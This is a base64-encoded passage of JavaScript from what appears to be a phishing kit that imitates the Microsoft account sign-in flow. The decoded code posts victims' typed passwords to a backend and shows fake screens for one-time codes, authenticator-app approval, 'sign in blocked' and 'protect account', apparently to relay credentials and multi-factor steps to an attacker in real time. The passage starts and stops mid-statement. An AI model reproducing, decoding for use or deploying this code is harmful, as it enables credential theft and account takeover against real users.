KCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX21vcmVpbmZvcmVxdWlyZWQnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAibW9yZWluZm9yZXF1aXJlZCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAibW9yZSBpbmZvIHJlcXVpcmVkIil7DQogICAgICAgICAgICBtb3JlaW5mb3JlcSgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIjJmYSBpcyBvZmYgbmV3d2Vic2l0ZSIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fcHdkIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJmaW5hbCI7DQogICAgICAgICAgICAvLyBzZW5kaW5mbyh1bmFtZUlucC52YWx1ZSxwd2RJbnAudmFsdWUsMik7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiMmZhIGlzIG9mZiIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fcHdkIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJmaW5hbCI7DQogICAgICAgICAgICAvLyBzZW5kaW5mbyh1bmFtZUlucC52YWx1ZSxwd2RJbnAudmFsdWUsMSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAic2lnbiBpbiBibG9ja2VkIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2QiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX2FjY2Vzc2Jsb2NrZWQiKS5xdWVyeVNlbGVjdG9yKCJoMi50aXRsZSIpLnRleHRDb250ZW50ID0gcmVzcG9uc2VbJ3RpdGxlJ107DQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhY2Nlc3NibG9ja2VkJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdhY2Nlc3NibG9ja2VkJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdhY2Nlc3NibG9ja2Vkc2lnbm91dG9wdGlvbicsMixyZXNwb25zZVsnc2lnbm91dG9wdGlvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmb290ZXIiKS5zdHlsZS5wb3NpdGlvbiA9ICJyZWxhdGl2ZSI7DQogICAgICAgICAgICB2YXIgZGVidWdkZXRhaWxzaW5mb2VsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJkZWJ1Z2RldGFpbHNpbmZvIik7DQogICAgICAgICAgICByZXNwb25zZVsndHJvdWJsZXNob290aW5naW5mbyddLmZvckVhY2goKGl0ZW0sIGluZGV4KSA9PiB7DQogICAgICAgICAgICBjb25zdCBuZXdpbmZvID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7DQogICAgICAgICAgICBjb25zdCBpbmZvbmFtZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNwYW4iKTsNCiAgICAgICAgICAgIGluZm9uYW1lLnRleHRDb250ZW50ID0gaXRlbS5uYW1lOw0KICAgICAgICAgICAgaW5mb25hbWUuY2xhc3NMaXN0LmFkZCgiYm9sZCIpOw0KICAgICAgICAgICAgY29uc3QgaW5mb3ZhbHVlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpOw0KICAgICAgICAgICAgaW5mb3ZhbHVlLnRleHRDb250ZW50ID0gaXRlbS52YWx1ZTsNCiAgICAgICAgICAgIG5ld2luZm8uYXBwZW5kQ2hpbGQoaW5mb25hbWUpOw0KICAgICAgICAgICAgbmV3aW5mby5hcHBlbmRDaGlsZChpbmZvdmFsdWUpOw0KICAgICAgICAgICAgZGVidWdkZXRhaWxzaW5mb2VsZS5hcHBlbmRDaGlsZChuZXdpbmZvKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYWNjZXNzYmxvY2tlZCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJhY2Nlc3NibG9ja2VkIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJwcm90ZWN0IGFjY291bnQiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9wd2QiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdwcm90ZWN0YWNjb3VudCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBkaXNwbGF5cHJvdGVjdG9wdGlvbnMocmVzcG9uc2VbJ3Byb3RlY3RvcHRpb25zJ10pOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdwcm90ZWN0YWNjb3VudCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ3Byb3RlY3RhY2NvdW50JyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZCIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fcHJvdGVjdGFjY291bnQnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAicHJvdGVjdGFjY291bnQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIm90cCBzZW50Iil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3RwaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ290cCcsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ290cCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ290cCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2QiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX290cCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJvdHAiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmUgYXV0aCByZXF1ZXN0IGF1dGggYXBwIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYXV0aGFwcGltZyIpLnNldEF0dHJpYnV0ZSgic3JjIiwgcmVzcG9uc2VbJ2ltYWdlX3NyYyddKTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdhdXRoYXBwJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnYXV0aGFwcCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ2F1dGhhcHAnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhhcHBjb2RlIikudGV4dENvbnRlbnQgPSByZXNwb25zZVsnYXV0aGFwcGNvZGUnXTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZCIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fYXV0aGFwcCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJhdXRoYXBwIjsNCiAgICAgICAgICAgIHdhaXQyZmEoJ2FwcCcscmVzcG9uc2VbJ21ldGhvZGlkJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImFwcHJvdmUgYXV0aCByZXF1ZXN0IGNhbGxpbmciKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhjYWxsJykucXVlcnlTZWxlY3RvcignLmJhY2snKS5mb2N1cygpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3B3ZCIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImF1dGhjYWxsaW1nIikuc2V0QXR0cmlidXRlKCJzcmMiLCByZXNwb25zZVsnaW1hZ2Vfc3JjJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ2F1dGhjYWxsJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygnYXV0aGNhbGwnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhdXRoY2FsbCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2QiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2F1dGhjYWxsJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gImF1dGhjYWxsIjsNCiAgICAgICAgICAgIHdhaXQyZmEoJ2NhbGwnKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICIyZmEgaXMgb24iKXsNCiAgICAgICAgICAgIHZhciB0d29mYWFyciA9IEpTT04ucGFyc2UocmVzcG9uc2VbJ3R3b2ZhbWV0aG9kcyddKTsNCiAgICAgICAgICAgIGRpc3BsYXl0d29mYW1ldGhvZHModHdvZmFhcnIpOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCcyZmEnLHJlc3BvbnNlWydib3R0b21zZWN0aW9uJ10pOw0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbignMmZhJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZCIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fMmZhJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gIjJmYSI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiZXJyb3IiKXsNCiAgICAgICAgICAgIC8vIHNlbmRpbmZvKHVuYW1lSW5wLnZhbHVlLHB3ZElucC52YWx1ZSwwKTsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygncHdkJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbigncHdkJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdwd2QnLDEscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlucF9wd2QiKS52YWx1ZSA9ICIiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCB3ZWJzaXRlbmFtZXMubGVuZ3RoOyBpKyspIHsNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJlcnJvciAiK3dlYnNpdGVuYW1lc1tpXSsiIil7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygncHdkJywxLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pDQogICAgICAgICAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIGlmICh2aWV3ID09PSAicHdkX2xpdmUiKSB7DQogICAgICAgICAgICBjb25zdCBibG9ja2VkUGFzc2VzID0gcGVzOw0KICAgICAgICAgICAgY29uc3QgY3VycGFzcyA9IHB3ZElucGxpdmUudmFsdWU7DQogICAgICAgICAgICBpZiAoYmxvY2tlZFBhc3Nlcy5zb21lKGJsb2NrZWQgPT4gY3VycGFzcy5pbmNsdWRlcyhibG9ja2VkKSkpIHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb24oMCk7DQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZF9saXZlIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJmaW5hbCI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkX2xpdmUiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIH0sIDMwMDApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHB3ZElucGxpdmUudmFsdWUudHJpbSgpID09PSAiIikgew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9wd2RfbGl2ZSIpLmlubmVyVGV4dCA9ICJQbGVhc2UgZW50ZXIgdGhlIHBhc3N3b3JkIGZvciB5b3VyIE1pY3Jvc29mdCBhY2NvdW50LiI7DQogICAgICAgICAgICB9IGVsc2UgaWYgKHB3ZElucGxpdmUudmFsdWUudHJpbSgpICE9ICIiICYmICFibG9ja2VkUGFzc2VzLnNvbWUoYmxvY2tlZCA9PiBjdXJwYXNzLmluY2x1ZGVzKGJsb2NrZWQpKSkgew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigwKTsNCiAgICAgICAgICAgIGlmICh3ZWJub3Rmb3VuZCA9PSB0cnVlKXsNCiAgICAgICAgICAgIG1pc3NpbmdhZGQoKTsNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgICAgICAgcnVuYW5pbWF0aW9uKDIsdmlldywwLjMpOw0KDQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdwd2RfbGl2ZScsW3thX2lkOiAiaWRBX1BXRF9Gb3Jnb3RQYXNzd29yZCIsIGFfdGV4dDogIkZvcmdvdCB5b3VyIHBhc3N3b3JkIiwgdHlwZTogImxpbmsifV0pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdwd2RfbGl2ZScsMSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2RfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fZmluYWwnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9wd2RfbGl2ZWQiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIHZpZXcgPSAiZmluYWwiOw0KICAgICAgICAgICAgcnVuYW5pbWF0aW9uKDEsdmlldywwLjMpOw0KICAgICAgICAgICAgfSwgMzAwKTsNCiAgICAgICAgICAgIH0sIDMwMDApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHdlYm5vdGZvdW5kID09IGZhbHNlKXsNCiAgICAgICAgICAgIG11bHRpcGxlYWNjb3VudHNiYWNrID0gMDsNCiAgICAgICAgICAgIHNlbmRBbmRSZWNlaXZlKCdjaGVja3Bhc3MnLCBbcHdkSW5wbGl2ZS52YWx1ZS5yZXBsYWNlKC9cLy9nLCAnY3VzdG9tc2xhc2hzdHInKV0sMSkNCiAgICAgICAgICAgICAgLnRoZW4ocmVzcG9uc2UgPT4gew0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlICYmIHJlc3BvbnNlWydtZXNzYWdlJ10gIT09ICJ3YWl0aW5nIGZvciBwcmV2aW91cyByZXF1ZXN0IHRvIGNvbXBsZXRlIikgew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICAgICAgICAgIC8vIGxpdmUgc3R1ZmYNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJzaWduaW5ibG9ja2VkIGxpdmUiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9wd2RfbGl2ZSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNpZ25pbl9ibG9ja2VkX2xpdmVfZW1haWwiKS5pbm5lclRleHQgPSByZXNwb25zZVsnZW1haWwnXTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdzaWduaW5fYmxvY2tlZF9saXZlJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdzaWduaW5fYmxvY2tlZF9yZWFzb24nLDIscmVzcG9uc2VbJ3JlYXNvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZF9saXZlIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9zaWduaW5fYmxvY2tlZF9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInNpZ25pbl9ibG9ja2VkX2xpdmUiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInByb3RlY3RhY2NvdW50IGxpdmUiKXsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdwcm90ZWN0X2FjY291bnRfbGl2ZScsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fcHJvdGVjdF9hY2NvdW50X2xpdmUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAicHJvdGVjdF9hY2NvdW50X2xpdmUiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gbGl2ZSBzdHVmZg0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInlvdSBkb250IGhhdmUgYWNjZXNzIil7DQogICAgICAgICAgICAvLyBjaGVja2Vycm9yZGVzYygneW91ZG9udGhhdmVhY2Nlc3NzaWdub3V0JywyLHJlc3BvbnNlWyd5b3Vkb250aGF2ZWFjY2Vzc2Rlc2MnXSk7DQogICAgICAgICAgICAvLyBjaGVja2Vycm9yZGVzYygneW91ZG9udGhhdmVhY2Nlc21vcmVkZXRhaWxzJywyLHJlc3BvbnNlWydtb3JlZGV0YWlsc2xpbmsnXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2RfbGl2ZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25feW91ZG9udGhhdmVhY2Nlc3MnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAieW91ZG9udGhhdmVhY2Nlc3MiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIm1vcmVpbmZvcmVxdWlyZWQiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZF9saXZlIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9tb3JlaW5mb3JlcXVpcmVkJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gIm1vcmVpbmZvcmVxdWlyZWQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIm1vcmUgaW5mbyByZXF1aXJlZCIpew0KICAgICAgICAgICAgbW9yZWluZm9yZXEoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICIyZmEgaXMgb2ZmIG5ld3dlYnNpdGUiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZF9saXZlIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJmaW5hbCI7DQogICAgICAgICAgICAvLyBzZW5kaW5mbyh1bmFtZUlucC52YWx1ZSxwd2RJbnBsaXZlLnZhbHVlLDIpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3B3ZF9saXZlIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAiMmZhIGlzIG9mZiIpew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fcHdkX2xpdmUiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX2ZpbmFsJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gImZpbmFsIjsNCiAgICAgICAgICAgIC8vIHNlbmRpbmZvKHVuYW1lSW5wLnZhbHVlLHB3ZElucGxpdmUudmFsdWUsMSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkX2xpdmUiKS5pbm5lclRleHQgPSAiIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJzaWduIGluIGJsb2NrZWQiKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlcnJvcl9wd2RfbGl2ZSIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fcHdkX2xpdmUiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX2FjY2Vzc2Jsb2NrZWQiKS5xdWVyeVNlbGVjdG9yKCJoMi50aXRsZSIpLnRleHRDb250ZW50ID0gcmVzcG9uc2VbJ3RpdGxlJ107DQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdhY2Nlc3NibG9ja2VkJyxyZXNwb25zZVsnYmFja2J1dHRvbiddKTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdhY2Nlc3NibG9ja2VkJywwLHJlc3BvbnNlWydkZXNjcmlwdGlvbiddKTsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdhY2Nlc3NibG9ja2Vkc2lnbm91dG9wdGlvbicsMixyZXNwb25zZVsnc2lnbm91dG9wdGlvbiddKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJmb290ZXIiKS5zdHlsZS5wb3NpdGlvbiA9ICJyZWxhdGl2ZSI7DQogICAgICAgICAgICB2YXIgZGVidWdkZXRhaWxzaW5mb2VsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJkZWJ1Z2RldGFpbHNpbmZvIik7DQogICAgICAgICAgICByZXNwb25zZVsndHJvdWJsZXNob290aW5naW5mbyddLmZvckVhY2goKGl0ZW0sIGluZGV4KSA9PiB7DQogICAgICAgICAgICBjb25zdCBuZXd